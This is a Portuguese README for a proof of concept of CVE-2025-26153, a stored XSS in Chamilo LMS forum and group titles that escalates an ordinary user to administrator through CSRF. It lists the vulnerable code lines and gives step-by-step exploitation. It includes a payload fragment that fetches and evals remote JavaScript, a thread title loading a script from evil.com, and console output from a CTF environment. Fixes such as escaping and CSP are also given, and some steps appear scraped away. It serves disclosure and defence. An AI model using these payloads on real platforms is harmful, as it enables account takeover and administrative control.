
Chamilo-LMS (v2.0) CVE-2025-26153
Este repositório contém uma prova de conceito demonstrando uma vulnerabilidade de cross-site scripting (XSS) armazenado no Chamilo LMS que pode ser explorada para obter escalada de privilégios de um usuário comum para administrador da plataforma. Esta vulnerabilidade está indexada e corrigida: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Locais do Código Vulnerável:
/public/main/forum/forumqualify.php - Linha 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
/public/main/forum/viewforum.php - Linha 369
.$thread->getTitle().'</a>';
Há mais!
Causa Raiz:
Passo 1: Coletar Informações do Usuário Alvo
Rede Social -> Dados Pessoaisuser_info e anote as seguintes informações:
Passo 2: Gerar Payload Personalizado
python generate_payload.py
payload.js personalizadoPasso 3: Hospedar Payload Externamente
payload.js gerado para um serviço de hospedagem público:
Passo 4: Acessar Grupos Sociais
Rede Social -> Grupos sociaisPasso 5: Entrar ou Criar Grupo Social
Passo 6: Implantar Payload de XSS
eval(x.responseText);x.send()">
YOUR-HOST-SERVER pela sua URL de hospedagem realPasso 7: Acionar a Escalada de Privilégios
Passo 8: Confirmar a Escalada de Privilégios
O script generate_payload.py permite personalizar o ataque de escalada de privilégios:
Parâmetros de Entrada:
1. Attacker creates malicious forum thread
└── Title: <script src=//evil.com/payload.js></script>
2. Admin user browses forum and views thread
└── Browser loads and executes external JavaScript
3. Payload creates hidden form with privilege escalation data
└── Targets specific User ID for promotion to admin
4. Form auto-submits via CSRF attack
└── Uses admin's session cookies automatically
5. Target user becomes platform administrator
└── Attacker gains full platform control
Sanitização de Entrada
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
Codificação de Saída
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
Política de Segurança de Conteúdo
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Monitore:
AVISO LEGAL IMPORTANTE
Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados.
Descoberta e Análise: US Cyber Combine
Ambiente de Teste: USCG CTF Environment
Saída do Console do Ataque Bem-sucedido:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200